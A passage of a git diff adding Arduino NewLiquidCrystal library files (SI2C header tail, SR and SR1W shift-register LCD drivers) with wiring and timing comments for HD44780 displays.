LCD. + + @param lcd_Addr[in] I2C address of the IO expansion module. For I2CLCDextraIO, + the address can be configured using the on board jumpers. + @param En[in] LCD En (Enable) pin connected to the IO extender module + @param Rw[in] LCD Rw (Read/write) pin connected to the IO extender module + @param Rs[in] LCD Rs (Reset) pin connected to the IO extender module + */ + LiquidCrystal_SI2C( uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs); + // Constructor with backlight control + LiquidCrystal_SI2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs, + uint8_t backlighPin, t_backlighPol pol); + + /*! + @method + @abstract Class constructor. + @discussion Initializes class variables and defines the I2C address of the + LCD. The constructor does not initialize the LCD. + + @param lcd_Addr[in] I2C address of the IO expansion module. For I2CLCDextraIO, + the address can be configured using the on board jumpers. + @param En[in] LCD En (Enable) pin connected to the IO extender module + @param Rw[in] LCD Rw (Read/write) pin connected to the IO extender module + @param Rs[in] LCD Rs (Reset) pin connected to the IO extender module + @param d4[in] LCD data 0 pin map on IO extender module + @param d5[in] LCD data 1 pin map on IO extender module + @param d6[in] LCD data 2 pin map on IO extender module + @param d7[in] LCD data 3 pin map on IO extender module + */ + LiquidCrystal_SI2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs, + uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7 ); + // Constructor with backlight control + LiquidCrystal_SI2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs, + uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, + uint8_t backlighPin, t_backlighPol pol); + /*! + @function + @abstract LCD initialization and associated HW. + @discussion Initializes the LCD to a given size (col, row). This methods + initializes the LCD, therefore, it MUST be called prior to using any other + method from this class or parent class. + + The begin method can be overloaded if necessary to initialize any HW that + is implemented by a library and can't be done during construction, here + we use the Wire class. + + @param cols[in] the number of columns that the display has + @param rows[in] the number of rows that the display has + @param charsize[in] size of the characters of the LCD: LCD_5x8DOTS or + LCD_5x10DOTS. + */ + virtual void begin(uint8_t cols, uint8_t rows, uint8_t charsize = LCD_5x8DOTS); + + /*! + @function + @abstract Send a particular value to the LCD. + @discussion Sends a particular value to the LCD for writing to the LCD or + as an LCD command. + + Users should never call this method. + + @param value[in] Value to send to the LCD. + @param mode[in] DATA - write to the LCD CGRAM, COMMAND - write a + command to the LCD. + */ + virtual void send(uint8_t value, uint8_t mode); + + /*! + @function + @abstract Sets the pin to control the backlight. + @discussion Sets the pin in the device to control the backlight. This device + doesn't support dimming backlight capability. + + @param 0: backlight off, 1..255: backlight on. + */ + void setBacklightPin ( uint8_t value, t_backlighPol pol ); + + /*! + @function + @abstract Switch-on/off the LCD backlight. + @discussion Switch-on/off the LCD backlight. + The setBacklightPin has to be called before setting the backlight for + this method to work. @see setBacklightPin. + + @param value: backlight mode (HIGH|LOW) + */ + void setBacklight ( uint8_t value ); + +private: + + /*! + @method + @abstract Initializes the LCD class + @discussion Initializes the LCD class and IO expansion module. + */ + int init(); + + /*! + @function + @abstract Initialises class private variables + @discussion This is the class single point for initialising private variables. + + @param lcd_Addr[in] I2C address of the IO expansion module. For I2CLCDextraIO, + the address can be configured using the on board jumpers. + @param En[in] LCD En (Enable) pin connected to the IO extender module + @param Rw[in] LCD Rw (Read/write) pin connected to the IO extender module + @param Rs[in] LCD Rs (Reset) pin connected to the IO extender module + @param d4[in] LCD data 0 pin map on IO extender module + @param d5[in] LCD data 1 pin map on IO extender module + @param d6[in] LCD data 2 pin map on IO extender module + @param d7[in] LCD data 3 pin map on IO extender module + */ + void config (uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs, + uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7 ); + + /*! + @method + @abstract Writes an 4 bit value to the LCD. + @discussion Writes 4 bits (the least significant) to the LCD control data lines. + @param value[in] Value to write to the LCD + @param more[in] Value to distinguish between command and data. + COMMAND == command, DATA == data. + */ + void write4bits(uint8_t value, uint8_t mode); + + /*! + @method + @abstract Pulse the LCD enable line (En). + @discussion Sends a pulse of 1 uS to the Enable pin to execute an command + or write operation. + */ + void pulseEnable(uint8_t); + + + uint8_t _Addr; // I2C Address of the IO expander + uint8_t _backlightPinMask; // Backlight IO pin mask + uint8_t _backlightStsMask; // Backlight status mask + SI2CIO _i2cio; // I2CIO PCF8574* expansion module driver I2CLCDextraIO + uint8_t _En; // LCD expander word for enable pin + uint8_t _Rw; // LCD expander word for R/W pin + uint8_t _Rs; // LCD expander word for Register Select pin + uint8_t _data_pins[4]; // LCD data lines + +}; + +#endif diff --git a/libraries/NewliquidCrystal/LiquidCrystal_SR.cpp b/libraries/NewliquidCrystal/LiquidCrystal_SR.cpp new file mode 100644 index 0000000..a966caa --- /dev/null +++ b/libraries/NewliquidCrystal/LiquidCrystal_SR.cpp @@ -0,0 +1,209 @@ +// --------------------------------------------------------------------------- +// Created by Francisco Malpartida on 20/08/11. +// Copyright 2011 - Under creative commons license 3.0: +// Attribution-ShareAlike CC BY-SA +// +// This software is furnished "as is", without technical support, and with no +// warranty, express or implied, as to its usefulness for any purpose. +// +// Thread Safe: No +// Extendable: Yes +// +// @file LiquidCrystal_SR.h +// Connects an LCD using 2 or 3 pins from the Arduino, via an 8-bit +// ShiftRegister (SR from now on). +// +// @brief +// This is a port of the ShiftRegLCD library from raron and ported to the +// LCD library. +// +// The functionality provided by this class and its base class is identical +// to the original functionality of the Arduino LiquidCrystal library and can +// be used as such. +// +// Modified to work serially with the shiftOut() function, an 8-bit +// unlatched, no-tristate, unidirectional SIPO (Serial-In-Parallel-Out) +// shift register (IE a very simple SR), and an LCD in 4-bit mode. +// Any such shift register should do (pref. 74LS family IC's for 2-wire). +// I used 74LS164, for the reason that's what I had at hand. +// +// Connection description: +// +// SR output: +// Bit #0 - N/C - not connected, used to hold a zero +// Bit #1 - N/C +// Bit #2 - connects to RS (Register Select) on the LCD +// Bits #3-6 - connects to LCD data inputs D4 - D7. +// Bit #7 - enables the LCD enable-puls (via the diode-resistor AND "gate") +// +// 2 or 3 Pins required from the Arduino for Data, Clock and (optional) Enable +// If not using Enable, the Data pin is used for the enable signal by defining +// the same pin for Enable as for Data. Data and Clock outputs/pins goes to +// the shiftregister. +// LCD RW-pin hardwired to LOW (only writing to LCD). +// Busy Flag (BF, data bit D7) is not read. +// +// Original project homepage: http://code.google.com/p/arduinoshiftreglcd/ +// +// +// History +// 2012.03.29 bperrybap - Added delays for faster fio shiftout (it got too fast) +// AVR needed delay. cmd/write delays are based on CPU speed so it works on pic32. +// Added code to support indicating two wire mode by using enable=data pin +// (documentation indicated this as working) +// Fixed incorrect use of 5x10 for default font - now matches original LQ library. +// can now eliminate enable pin in constructor for two wire mode. +// 2012.01.16 Florian Fida - faster digitalWrite/shiftOut +// 2011.10.29 fmalpartida - adaption of the library to the LCD class hierarchy. +// 2011.07.02 Fixed a minor flaw in setCursor function. No functional change, +// just a bit more memory efficient. +// Thanks to CapnBry (from google code and github) who noticed it. +// URL to his version of shiftregLCD: +// https://github.com/CapnBry/HeaterMeter/commit/c6beba1b46b092ab0b33bcbd0a30a201fd1f28c1 +// 2009.07.30 raron - minor corrections to the comments. +// Fixed timing to datasheet safe. Fixed keyword highlights. +// 2009.07.28 Mircho / raron - a new modification to the schematics, and a +// more streamlined interface +// 2009.07.27 Thanks to an excellent suggestion from mircho at the Arduino +// playgrond forum, the number of wires now required is only two! +// 2009.07.25 raron - Fixed comments. I really messed up the comments before +// posting this, so I had to fix it. +// Renamed a function, but no improvements or functional changes. +// 2009.07.23 Incorporated some proper initialization routines +// inspired (lets say copy-paste-tweaked) from LiquidCrystal +// library improvements from LadyAda. +// 2009.05.23 raron - first version, but based mostly (as in almost verbatim) +// on the "official" LiquidCrystal library. +// +// +// @author F. Malpartida - fmalpartida@gmail.com +// --------------------------------------------------------------------------- +#include +#include +#include + +#if (ARDUINO < 100) +#include +#else +#include +#endif +#include "LiquidCrystal_SR.h" + +#include "FastIO.h" + + +// CONSTRUCTORS +// --------------------------------------------------------------------------- +// Assuming 1 line 8 pixel high font +LiquidCrystal_SR::LiquidCrystal_SR (uint8_t srdata, uint8_t srclock, + uint8_t enable ) +{ + init ( srdata, srclock, enable, 1, 0 ); +} + + +// PRIVATE METHODS +// --------------------------------------------------------------------------- + +// +// init +void LiquidCrystal_SR::init(uint8_t srdata, uint8_t srclock, uint8_t enable, + uint8_t lines, uint8_t font) +{ + // Initialise private variables + _two_wire = 0; + + _srDataRegister = fio_pinToOutputRegister(srdata); + _srDataBit = fio_pinToBit(srdata); + _srClockRegister = fio_pinToOutputRegister(srclock); + _srClockBit = fio_pinToBit(srclock); + + if ((enable == TWO_WIRE) || (enable == srdata)) + { + _two_wire = 1; + _srEnableRegister = _srDataRegister; + _srEnableBit = _srDataBit; + } + else + { + _srEnableRegister = fio_pinToOutputRegister(enable); + _srEnableBit = fio_pinToBit(enable); + } + + // Configure control pins as outputs + // ------------------------------------------------------------------------ + + _displayfunction = LCD_4BITMODE | LCD_1LINE | LCD_5x8DOTS; +} + +// +// shiftIt +void LiquidCrystal_SR::shiftIt(uint8_t val) +{ + if (_two_wire) + { + // Clear to get Enable LOW + fio_shiftOut(_srDataRegister, _srDataBit, _srClockRegister, _srClockBit); + } + fio_shiftOut(_srDataRegister, _srDataBit, _srClockRegister, _srClockBit, val, MSBFIRST); + + // LCD ENABLE PULSE + // + // While this library is written with a shift register without an output + // latch in mind, it can work in 3-wire mode with a shiftregister with a + // latch. The shiftregister latch pin (STR, RCL or similar) is then + // connected to the LCD enable pin. The LCD is (very likely) slower + // to read the Enable pulse, and then reads the new contents of the SR. + ATOMIC_BLOCK(ATOMIC_RESTORESTATE) + { + fio_digitalWrite_HIGH(_srEnableRegister, _srEnableBit); + delayMicroseconds (1); // enable pulse must be >450ns + fio_digitalWrite_SWITCHTO(_srEnableRegister, _srEnableBit, LOW); + } // end critical section +} + +// PUBLIC METHODS +// --------------------------------------------------------------------------- + + +/************ low level data pushing commands **********/ +// +// send +void LiquidCrystal_SR::send(uint8_t value, uint8_t mode) +{ + // Divide byte in two nibbles include the RS signal + // and format it for shiftregister output wiring to the LCD + // We are only interested in my COMMAND or DATA for myMode + uint8_t myMode = ( mode == DATA ) ? SR_RS_BIT : 0; // RS bit; LOW: command. HIGH: character. + + if ( mode != FOUR_BITS ) + { + shiftIt(myMode | SR_EN_BIT | ((value >> 1) & 0x78)); // upper nibble + } + + shiftIt(myMode | SR_EN_BIT | ((value << 3) & 0x78)); // lower nibble + /* + * Add some delay since this code is so fast it needs some added delay + * even on AVRs because the shiftout is shorter than the LCD command execution time. + */ +#if (F_CPU <= 16000000) + if(_two_wire) + delayMicroseconds ( 10 ); + else + delayMicroseconds ( 17 ); // 3 wire mode is faster so it must delay longer +#else + delayMicroseconds ( 37 ); // commands & data writes need > 37us to complete +#endif + +} + +// +// setBacklightPin +void LiquidCrystal_SR::setBacklightPin ( uint8_t pin, t_backlighPol pol ) +{ } + +// +// setBacklight +void LiquidCrystal_SR::setBacklight ( uint8_t mode ) +{ } + diff --git a/libraries/NewliquidCrystal/LiquidCrystal_SR.h b/libraries/NewliquidCrystal/LiquidCrystal_SR.h new file mode 100644 index 0000000..0d22022 --- /dev/null +++ b/libraries/NewliquidCrystal/LiquidCrystal_SR.h @@ -0,0 +1,176 @@ +// --------------------------------------------------------------------------- +// Created by Francisco Malpartida on 20/08/11. +// Copyright 2011 - Under creative commons license 3.0: +// Attribution-ShareAlike CC BY-SA +// +// This software is furnished "as is", without technical support, and with no +// warranty, express or implied, as to its usefulness for any purpose. +// +// Thread Safe: No +// Extendable: Yes +// +// @file LiquidCrystal_SR.h +// Connects an LCD using 2 or 3 pins from the Arduino, via an 8-bit +// ShiftRegister (SR from now on). +// +// @brief +// This is a port of the ShiftRegLCD library from raron and ported to the +// LCD library. +// +// The functionality provided by this class and its base class is identical +// to the original functionality of the Arduino LiquidCrystal library and can +// be used as such. +// +// Modified to work serially with the shiftOut() function, an 8-bit +// unlatched, no-tristate, unidirectional SIPO (Serial-In-Parallel-Out) +// shift register (IE a very simple SR), and an LCD in 4-bit mode. +// Any such shift register should do (pref. 74LS family IC's for 2-wire). +// I used 74LS164, for the reason that's what I had at hand. +// +// Connection description: +// +// SR output: +// Bit #0 - N/C - not connected, used to hold a zero +// Bit #1 - N/C +// Bit #2 - connects to RS (Register Select) on the LCD +// Bits #3-6 - connects to LCD data inputs D4 - D7. +// Bit #7 - enables the LCD enable-puls (via the diode-resistor AND "gate") +// +// 2 or 3 Pins required from the Arduino for Data, Clock and (optional) Enable +// If not using Enable, the Data pin will be used for the enable signal. +// 2 wire mode can be indicated by: +// - ommitting the enable pin in constructor +// - defining the same pin for Enable as for Data in constructor +// - by using the token TWO_WIRE for the enable pin. +// +// Data and Clock outputs/pins goes to the shiftregister. +// LCD RW-pin hardwired to LOW (only writing to LCD). +// Busy Flag (BF, data bit D7) is not read. +// +// Original project homepage: http://code.google.com/p/arduinoshiftreglcd/ +// +// +// History +// 2012.03.29 bperrybap - can now eliminate enable pin in constructor for two wire mode. +// 2011.10.29 fmalpartida - adaption of the library to the LCD class hierarchy. +// 2011.07.02 Fixed a minor flaw in setCursor function. No functional change, +// just a bit more memory efficient. +// Thanks to CapnBry (from google code and github) who noticed it. +// URL to his version of shiftregLCD: +// https://github.com/CapnBry/HeaterMeter/commit/c6beba1b46b092ab0b33bcbd0a30a201fd1f28c1 +// 2009.07.30 raron - minor corrections to the comments. +// Fixed timing to datasheet safe. Fixed keyword highlights. +// 2009.07.28 Mircho / raron - a new modification to the schematics, and a +// more streamlined interface +// 2009.07.27 Thanks to an excellent suggestion from mircho at the Arduiono +// playgrond forum, the number of wires now required is only two! +// 2009.07.25 raron - Fixed comments. I really messed up the comments before +// posting this, so I had to fix it. +// Renamed a function, but no improvements or functional changes. +// 2009.07.23 Incorporated some proper initialization routines +// inspired (lets say copy-paste-tweaked) from LiquidCrystal +// library improvements from LadyAda. +// 2009.05.23 raron - first version, but based mostly (as in almost verbatim) +// on the "official" LiquidCrystal library. +// +// +// +// @author F. Malpartida - fmalpartida@gmail.com +// --------------------------------------------------------------------------- +#ifndef _LIQUIDCRYSTAL_SR_ +#define _LIQUIDCRYSTAL_SR_ + +#include +#include "LCD.h" +#include "FastIO.h" + + +// two-wire indicator constant +// --------------------------------------------------------------------------- +#define TWO_WIRE 204 +#define SR_RS_BIT 0x04 +#define SR_EN_BIT 0x80 + +class LiquidCrystal_SR : public LCD +{ +public: + /*! + @method + @abstract LCD SHIFT REGISTER constructors. + @discussion Defines the pin assignment that the LCD will have. + The constructor does not initialize the LCD. Assuming 1 line 8 pixel high + font. + + @param srdata[in] pin for shiftregister data line. + @param srclock[in] pin for shiftregister clock line. + @param enable[in] optional direct enable pin for the LCD + */ + LiquidCrystal_SR ( uint8_t srdata, uint8_t srclock, uint8_t enable=TWO_WIRE ); + + /*! + @function + @abstract Send a particular value to the LCD. + @discussion Sends a particular value to the LCD for writing to the LCD or + as an LCD command using the shift register. + + Users should never call this method. + + @param value[in] Value to send to the LCD. + @result mode LOW - write to the LCD CGRAM, HIGH - write a command to + the LCD. + */ + virtual void send(uint8_t value, uint8_t mode); + + + /*! + @function + @abstract Sets the pin to control the backlight. + @discussion Sets the pin in the device to control the backlight. + @warning Currently not supported + + @param mode: backlight mode (HIGH|LOW) + @param pol: backlight polarity + */ + void setBacklightPin ( uint8_t pin, t_backlighPol pol ); + + /*! + @function + @abstract Switch-on/off the LCD backlight. + @discussion Switch-on/off the LCD backlight. + The setBacklightPin has to be called before setting the backlight for + this method to work. @see setBacklightPin. + + @param mode: backlight mode (HIGH|LOW) + */ + void setBacklight ( uint8_t mode ); + +private: + + /*! + @method + @abstract Initializes the LCD pin allocation + @discussion Initializes the LCD pin allocation and configuration. + */ + void init ( uint8_t srdata, uint8_t srclock, uint8_t enable, uint8_t lines, + uint8_t font ); + + /*! + * @method + * @abstract takes care of shifting and the enable pulse + */ + void shiftIt (uint8_t val); + + uint8_t _enable_pin; // Enable Pin + uint8_t _two_wire; // two wire mode + + fio_register _srDataRegister; // Serial Data pin + fio_bit _srDataBit; + fio_register _srClockRegister; // Clock Pin + fio_bit _srClockBit; + fio_register _srEnableRegister; // Enable Pin + fio_bit _srEnableBit; + +}; + +#endif + diff --git a/libraries/NewliquidCrystal/LiquidCrystal_SR1W.cpp b/libraries/NewliquidCrystal/LiquidCrystal_SR1W.cpp new file mode 100644 index 0000000..f32ef70 --- /dev/null +++ b/libraries/NewliquidCrystal/LiquidCrystal_SR1W.cpp @@ -0,0 +1,252 @@ +// --------------------------------------------------------------------------- +// Created/Adapted by Stephen Erisman 2013-07-06 +// Copyright 2013 - Under creative commons license 3.0: +// Attribution-ShareAlike CC BY-SA +// +// This software is furnished "as is", without technical support, and with no +// warranty, express or implied, as to its usefulness for any purpose. +// +// Thread Safe: No +// Extendable: Yes +// +// @file LiquidCrystal_SR1W.cpp +// Connects a hd44780 LCD using 1 pin from the Arduino, via an 8-bit Latching +// ShiftRegister (SR1W from now on). +// +// @brief +// This is an optimized implementation of the 1-wire shift concept developed by +// Roman Black (http://www.romanblack.com/shift1.htm) that also makes use of +// (and merges) the diode-resistor AND "gate" concept (http://www.rentron.com/Myke1.htm) +// as well as introducing some new and original ideas (particularly how HW_CLEAR works). +// +// +// See the corresponding SR1W header file for full details. +// +// History +// 2013.07.31 serisman - fixed potential interrupt bug and made more performance optimizations +// 2013.07.10 serisman - more performance optimizations and modified the HW_CLEAR circuit a bit +// 2013.07.09 serisman - added an even faster version that performs the clear in hardware +// 2013.07.08 serisman - changed code to shift data MSB first to match SR2W +// 2013.07.07 serisman - major speed optimization +// 2013.07.06 serisman - created/modified from SR2W and FastIO sources to create SR1W +// @author S. Erisman - arduino@serisman.com +// --------------------------------------------------------------------------- + +#include "LiquidCrystal_SR1W.h" + +// CONSTRUCTORS +// --------------------------------------------------------------------------- +// Assuming 1 line 8 pixel high font +LiquidCrystal_SR1W::LiquidCrystal_SR1W (uint8_t srdata, t_sr1w_circuitType circuitType, t_backlighPol blpol) +{ + init ( srdata, circuitType, blpol, 1, 0 ); +} + +// PRIVATE METHODS +// --------------------------------------------------------------------------- + +// +// init +void LiquidCrystal_SR1W::init(uint8_t srdata, t_sr1w_circuitType circuitType, t_backlighPol blpol, uint8_t lines, uint8_t font) +{ + _srRegister = fio_pinToOutputRegister(srdata); + _srMask = fio_pinToBit(srdata); + + _circuitType = circuitType; + + _blPolarity = blpol; + + _displayfunction = LCD_4BITMODE | LCD_1LINE | LCD_5x8DOTS; + + clearSR(); + + backlight(); // set default backlight state to on +} + +// +// clearSR +uint8_t LiquidCrystal_SR1W::clearSR() +{ + uint8_t numDelays = 0; + + // Store these as local variables for extra performance (and smaller compiled sketch size) + fio_register srRegister = _srRegister; + fio_bit srMask = _srMask; + + // Set the Serial PIN to a LOW state + SR1W_ATOMIC_WRITE_LOW(srRegister, srMask); + + // We need to delay to make sure the Data and Latch/EN capacitors are fully discharged + // This also triggers the EN pin because of the falling edge. + SR1W_DELAY(); + + ATOMIC_BLOCK(ATOMIC_RESTORESTATE) + { + // Pre-calculate these values for extra performance and to make sure the clock pulse is as quick as possible + fio_bit reg_val = *srRegister; + fio_bit bit_low = reg_val & ~srMask; + fio_bit bit_high = reg_val | srMask; + + // Clear the shift register (without triggering the Latch/EN pins) + // We only need to shift 7 bits here because the subsequent HIGH transistion will also shift a '0' in. + for (int8_t i = 6; i>=0; i--) + { + // Shift in a '0' (NOTE: This clock pulse needs to execute as quickly as possible) + *srRegister = bit_high; + *srRegister = bit_low; + } + + // Set the Serial PIN to a HIGH state so the next nibble/byte can be loaded + // This also shifts the 8th '0' bit in. + *srRegister = bit_high; + } + + // Give the Data capacitor a chance to fully charge + SR1W_DELAY(); + + return numDelays; +} + +// +// loadSR +uint8_t LiquidCrystal_SR1W::loadSR(uint8_t val) +{ + uint8_t numDelays = 0; + + // Store these as local variables for extra performance (and smaller compiled sketch size) + fio_register srRegister = _srRegister; + fio_bit srMask = _srMask; + + // NOTE: This assumes the Serial PIN is already HIGH and the Data capacitor is fully charged + uint8_t previousBit = 1; + + // Send the data to the shift register (MSB first) + for (int8_t i = 7; i>=0; i--) + { + if (val & 0x80) + { + if (previousBit == 0) + { + // We need to make sure the Data capacitor has fully recharged + SR1W_DELAY(); + } + + previousBit = 1; + + ATOMIC_BLOCK(ATOMIC_RESTORESTATE) + { + // Pre-calculate these values to make sure the clock pulse is as quick as possible + fio_bit reg_val = *srRegister; + fio_bit bit_low = reg_val & ~srMask; + fio_bit bit_high = reg_val | srMask; + + // Shift in a '1' (NOTE: This clock pulse needs to execute as quickly as possible) + *srRegister = bit_low; + *srRegister = bit_high; + } + } + else + { + // Shift in a '0' + SR1W_ATOMIC_WRITE_LOW(srRegister, srMask); + + // We need to make sure the Data capacitor has fully discharged + SR1W_DELAY(); + + previousBit = 0; + + SR1W_ATOMIC_WRITE_HIGH(srRegister, srMask); + } + val <<= 1; + } + + // NOTE: Serial PIN is currently HIGH + + // For SW_CLEAR, we need to delay to make sure the Latch/EN capacitor is fully charged. + // This triggers the Latch pin because of the rising edge. + // For HW_CLEAR, we need to delay to give the hardware time to perform the clear. + // This also gives the Data capacitor a chance to fully charge + SR1W_DELAY(); + + if (_circuitType == SW_CLEAR) + { + // Clear the shift register to get ready for the next nibble/byte + // This also discharges the Latch/EN capacitor which finally triggers the EN pin because of the falling edge. + numDelays += clearSR(); + } + else + { + // For some reason HW_CLEAR isn't totally stable unless we delay a little bit more. + // TODO... figure this out... + SR1W_DELAY(); + } + + return numDelays; +} + +// PUBLIC METHODS +// --------------------------------------------------------------------------- + + +/************ low level data pushing commands **********/ +// +// send +void LiquidCrystal_SR1W::send(uint8_t value, uint8_t mode) +{ + uint8_t numDelays = 0; + + uint8_t data; + + if ( mode != FOUR_BITS ) + { + // upper nibble + data = ( mode == DATA ) ? SR1W_RS_MASK : 0; + data |= SR1W_EN_MASK | SR1W_UNUSED_MASK; + data |= _blMask; + + if (value & _BV(4)) data |= SR1W_D4_MASK; + if (value & _BV(5)) data |= SR1W_D5_MASK; + if (value & _BV(6)) data |= SR1W_D6_MASK; + if (value & _BV(7)) data |= SR1W_D7_MASK; + + numDelays += loadSR(data); + } + + // lower nibble + data = ( mode == DATA ) ? SR1W_RS_MASK : 0; + data |= SR1W_EN_MASK | SR1W_UNUSED_MASK; + data |= _blMask; + + if (value & _BV(0)) data |= SR1W_D4_MASK; + if (value & _BV(1)) data |= SR1W_D5_MASK; + if (value & _BV(2)) data |= SR1W_D6_MASK; + if (value & _BV(3)) data |= SR1W_D7_MASK; + + numDelays += loadSR(data); + + // Make sure we wait at least 40 uS between bytes. + unsigned int totalDelay = numDelays * SR1W_DELAY_US; + if (totalDelay < 40) + delayMicroseconds(40 - totalDelay); +} + +// +// setBacklight +void LiquidCrystal_SR1W::setBacklight ( uint8_t value ) +{ + // Check for polarity to configure mask accordingly + // ---------------------------------------------------------- + if ( ((_blPolarity == POSITIVE) && (value > 0)) || + ((_blPolarity == NEGATIVE ) && ( value == 0 )) ) + { + _blMask = SR1W_BL_MASK; + } + else + { + _blMask = 0; + } + + // Send a dummy (non-existant) command to allow the backlight PIN to be latched. + // The seems to be safe because the LCD appears to treat this as a NOP. + send(0, COMMAND); +} \ No newline at end of file diff --git a/libraries/NewliquidCrystal/LiquidCrystal_SR1W.h b/libraries/NewliquidCrystal/LiquidCrystal_SR1W.h new file mode 100644 index 0000000..d71c173 --- /dev/null +++ b/libraries/NewliquidCrystal/LiquidCrystal_SR1W.h @@ -0,0 +1,373 @@ + +// --------------------------------------------------------------------------- +// Created/Adapted by Stephen Erisman 2013-07-06 +// Copyright 2013 - Under creative commons license 3.0: +// Attribution-ShareAlike CC BY-SA +// +// This software is furnished "as is", without technical support, and with no +// warranty, express or implied, as to its usefulness for any purpose. +// +// @file LiquidCrystal_SR1W.h +// Connects a hd44780 LCD using 1 pin from the Arduino, via an 8-bit Latching +// ShiftRegister (SR1W from now on). +// +// @brief +// This is the 1 wire shift register interface class for the LCD library +// +// The functionality provided by this class and its base class is a superset of +// the original functionality of the Arduino LiquidCrystal library and can +// be used as such. +// See the LCD class for a full description of the API functions available. +// +// It works with a 8-bit latched, no-tristate, unidirectional SIPO (Serial-In-Parallel-Out) +// shift register, and an hd44780 LCD in 4-bit mode. +// The 74HC595 shift register has been tested. +// +// +// 1 Pin required from the Arduino: +// - Serial PIN: +// The Serial PIN is wired directly to the shift register's Clock PIN and its +// unaltered signal directly triggers the Clock on every LOW to HIGH transition. +// +// Additionally, the Serial PIN is wired through a resistor capacitor (RC) filter to +// the shift register's Data PIN. During a quick transition of the Serial PIN the +// RC filter will maintain the Data PIN's previous value because the capacitor isn't +// given enough time to charge (or discharge) to the alternate state. If the transition +// is held for enough time, however, the RC capacitor will charge (or discharge) and the +// value seen by the Data PIN will have changed state. +// +// There are two circuit versions that behave differently for Latch, Enable, and Clear: +// +// HW_CLEAR version: +// In this version the shift register's Latch and LCD's Enable PINs are wired directly to +// the shift register's Q'H output. The shift register's /Clear PIN is then wired up +// through two logic "gates": first QH and Q'H are AND'd together with a diode-resistor +// "gate" the output of which is NAND'd with VCC using a resistor-NPN-resistor "gate". +// So, /CLR = ((QH AND Q'H) NAND VCC). We also put a capacitor on the NPN base to GND +// to delay the signal a bit and allow the Latch and EN signals some extra time to trigger. +// +// This all fits together as follows: +// 1. We shift in a '1'. +// 2. Ws shift in the other 7 bits. +// 3. At this point the first '1' has been shifted into Q'H causing it to go HIGH. +// 4. When Q'H is HIGH it causes Latch and EN to also go HIGH. +// 5. When Latch transitions to HIGH it changes the shift register outputs to the bits +// that were shifted in. +// 6. This causes QH to go HIGH (if it wasn't already). +// 7. Now that QH AND Q'H are both HIGH they causes the base capacitor to start charging. +// 8. When the capacitor has charged enough the transistor brings /CLR LOW. +// 8. This will cause /CLR to trigger and the shift register will be cleared +// (NOTE: This doesn't change the latched outputs) +// 9. The clearing of the shift register causes Q'H to go LOW. +// 9. When Q'H is LOW it causes Latch and EN to also go LOW. +// 10. When EN transitions to LOW the LCD reads in the bits on the shift register pins +// and does it's thing. +// 11. Now that Q'H is LOW the base capacitor starts discharging. +// 12. When the capacitor has discharged enough the transistor will stop sinking /CLR. +// 13. This will cause /CLR to be pulled back up to HIGH by the VCC pullup resistor +// (it will stay that way until our next nibble/byte has been shifted in) +// 14. We are now ready for our next nibble/byte. +// +// +// SW_CLEAR version: +// In this version the Serial PIN is wired to the shift register's Latch and LCD's Enable +// PINs through another RC filter. These PINs are also wired through a diode (AND "gate") +// tied to the shift register's Q'H output. This combination means that the Latch and +// Enable PINs will be held LOW as long as EITHER the Q'H or RC output is LOW. +// +// This all fits together as follows: +// 1. We shift in a '1'. +// 2. We shift in the other 7 bits. (NOTE: We leave Serial PIN HIGH at the end of this) +// 3. At this point the first '1' has been shifted into Q'H causing it to go HIGH. +// (NOTE: Up until this time Q'H has been LOW so the attached diode has been keeping +// the Latch/EN pins LOW.) +// 4. Now that Q'H is HIGH it causes the attached diode to stop discharging the Latch/EN +// capacitor. We delay here for a while to make sure it is fully charged. +// 5. When the capacitor has charged enough Latch/EN will be HIGH +// 5. When Latch transitions to HIGH it changes the shift register outputs to what was +// shifted in. +// 6. We now bring the Serial PIN LOW and wait for the Latch/EN capacitor to discharge. +// 7. When the capacitor has discharged enough Latch/EN will be LOW +// 8. When EN transitions to LOW the LCD reads in the bits on the shift register pins +// and does it's thing. +// 9. We now shift in '0' 8 times (as quickly as possible). +// 10. If we keep the LOW to HIGH to LOW pulses short enough while shifting in the '0's +// the Latch/EN capacitor won't have time to charge to a point where it will re-trigger +// the Latch/EN pins. +// 11. Now Q'H will be LOW and the shift register has been cleared (NOTE: This doesn't +// change the latched outputs.) +// 12. We now bring the Serial PIN HIGH again and wait for the Data capacitor to recharge. +// 13. When the Data capacitor has fully charged we are ready for our next nibble/byte. +// +// +// These designs incorporate (and merge) ideas originally found here (1-wire concept): +// http://www.romanblack.com/shift1.htm +// and here (diode-resistor AND "gate" EN control): +// http://www.rentron.com/Myke1.htm +// as well as introducing some new and original ideas (particularly how HW_CLEAR works). +// +// Because of its use of the diode AND "gate", the SW_CLEAR design allows for faster sending +// of data to the LCD compared to Roman's original design. With the proposed 5uS delay (see +// notes below), a byte can be sent to the LCD in as little as 30 uS (plus overhead) when +// sending all 1's. This increases to as much as 190 uS (plus overhead) when sending all 0's. +// This is in comparison to Roman's estimate of around 3-4 mS to send a byte. So this +// implementation is 15-133 times faster for the cost of a single (1N4148 or similar) diode. +// +// The HW_CLEAR version is even faster as it can completely eliminate the clearSR() call as +// well as the delays that are needed to latch the data in the SW_CLEAR version. +// +// +// Default Shift Register Bits - Shifted MSB first: +// Bit #0 (QA) - not used +// Bit #1 (QB) - connects to LCD data input D7 +// Bit #2 (QC) - connects to LCD data input D6 +// Bit #3 (QD) - connects to LCD data input D5 +// Bit #4 (QE) - connects to LCD data input D4 +// Bit #5 (QF) - optional backlight control +// Bit #6 (QG) - connects to RS (Register Select) on the LCD +// Bit #7 (QH) - used for /CLR on the HW_CLEAR version (cannot be changed) +// (Q'H) - used for Latch/EN (via the diode AND "gate") (cannot be changed) +// +// NOTE: Any of these can be changed around as needed EXCEPT Bit #7 (QH and Q'H). +// +// +// Circuit Types (for the 74HC595) +// ------------------------------- +// The 74HC595 is a latching shift register. See the explanations above for how these circuits +// work. +// +// +// HW_CLEAR version: (Faster but higher part count) +// ------------------------------------------------ +// +// 74HC595 (VCC) +// +----u----+ | 2.2nF +// (LCD D7)------------1-|QB VCC|-16--+ +----||----(GND) +// (LCD D6)------------2-|QC QA|-15 | +// (LCD D5)------------3-|QD 